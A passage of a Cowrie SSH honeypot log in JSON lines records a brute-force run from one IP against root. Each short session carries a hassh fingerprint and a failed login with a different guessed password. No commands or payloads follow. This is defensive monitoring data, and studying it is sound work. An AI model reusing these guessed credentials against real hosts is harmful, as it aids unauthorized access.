{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:11.021895Z","src_ip":"60.165.124.241","session":"a7459a019f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4701f01e67c","protocol":"ssh","message":"New connection: 60.165.124.241:58182 (10.17.0.5:22) [session: b4701f01e67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:12.265892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:12.270634Z","src_ip":"60.165.124.241","session":"b4701f01e67c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:12.520699Z","src_ip":"60.165.124.241","session":"b4701f01e67c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chiang","message":"login attempt [root/chiang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:13.276882Z","src_ip":"60.165.124.241","session":"b4701f01e67c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:15.129148Z","src_ip":"60.165.124.241","session":"b4701f01e67c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34838,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c93e57e0006","protocol":"ssh","message":"New connection: 60.165.124.241:34838 (10.17.0.5:22) [session: 7c93e57e0006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:15.384206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:15.393055Z","src_ip":"60.165.124.241","session":"7c93e57e0006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:15.647112Z","src_ip":"60.165.124.241","session":"7c93e57e0006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pciop890","message":"login attempt [root/pciop890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:17.084657Z","src_ip":"60.165.124.241","session":"7c93e57e0006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:18.342498Z","src_ip":"60.165.124.241","session":"7c93e57e0006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38674,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc35a44e5063","protocol":"ssh","message":"New connection: 60.165.124.241:38674 (10.17.0.5:22) [session: fc35a44e5063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:18.590188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:18.596135Z","src_ip":"60.165.124.241","session":"fc35a44e5063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:18.848681Z","src_ip":"60.165.124.241","session":"fc35a44e5063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234@@","message":"login attempt [root/qwer1234@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:21.044583Z","src_ip":"60.165.124.241","session":"fc35a44e5063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:22.301257Z","src_ip":"60.165.124.241","session":"fc35a44e5063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43560,"dst_ip":"10.17.0.5","dst_port":22,"session":"c01ae2fb741e","protocol":"ssh","message":"New connection: 60.165.124.241:43560 (10.17.0.5:22) [session: c01ae2fb741e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:22.563670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:22.568491Z","src_ip":"60.165.124.241","session":"c01ae2fb741e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:22.828375Z","src_ip":"60.165.124.241","session":"c01ae2fb741e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ali8110829","message":"login attempt [root/Ali8110829] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:23.574541Z","src_ip":"60.165.124.241","session":"c01ae2fb741e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:24.824426Z","src_ip":"60.165.124.241","session":"c01ae2fb741e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f08cc7ce0cf","protocol":"ssh","message":"New connection: 60.165.124.241:46680 (10.17.0.5:22) [session: 4f08cc7ce0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:25.053266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:25.058022Z","src_ip":"60.165.124.241","session":"4f08cc7ce0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:25.299696Z","src_ip":"60.165.124.241","session":"4f08cc7ce0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd741852","message":"login attempt [root/Asd741852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:26.025329Z","src_ip":"60.165.124.241","session":"4f08cc7ce0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:27.271086Z","src_ip":"60.165.124.241","session":"4f08cc7ce0cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49540,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb2687f3cef9","protocol":"ssh","message":"New connection: 60.165.124.241:49540 (10.17.0.5:22) [session: fb2687f3cef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:27.530025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:27.538842Z","src_ip":"60.165.124.241","session":"fb2687f3cef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:27.789764Z","src_ip":"60.165.124.241","session":"fb2687f3cef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WXxunlei123$%^","message":"login attempt [root/WXxunlei123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:28.548998Z","src_ip":"60.165.124.241","session":"fb2687f3cef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:29.817120Z","src_ip":"60.165.124.241","session":"fb2687f3cef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52646,"dst_ip":"10.17.0.5","dst_port":22,"session":"98758f2fc15c","protocol":"ssh","message":"New connection: 60.165.124.241:52646 (10.17.0.5:22) [session: 98758f2fc15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:30.049026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:30.056011Z","src_ip":"60.165.124.241","session":"98758f2fc15c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:30.293825Z","src_ip":"60.165.124.241","session":"98758f2fc15c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Ww","message":"login attempt [root/123456Ww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:31.014085Z","src_ip":"60.165.124.241","session":"98758f2fc15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:32.258617Z","src_ip":"60.165.124.241","session":"98758f2fc15c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55842,"dst_ip":"10.17.0.5","dst_port":22,"session":"05d7b4ae294d","protocol":"ssh","message":"New connection: 60.165.124.241:55842 (10.17.0.5:22) [session: 05d7b4ae294d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:32.495409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:32.499912Z","src_ip":"60.165.124.241","session":"05d7b4ae294d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:32.739561Z","src_ip":"60.165.124.241","session":"05d7b4ae294d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@666","message":"login attempt [root/Huawei@666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:33.477507Z","src_ip":"60.165.124.241","session":"05d7b4ae294d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:34.726810Z","src_ip":"60.165.124.241","session":"05d7b4ae294d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58642,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f4159fc9fd8","protocol":"ssh","message":"New connection: 60.165.124.241:58642 (10.17.0.5:22) [session: 5f4159fc9fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:34.987002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:34.992214Z","src_ip":"60.165.124.241","session":"5f4159fc9fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-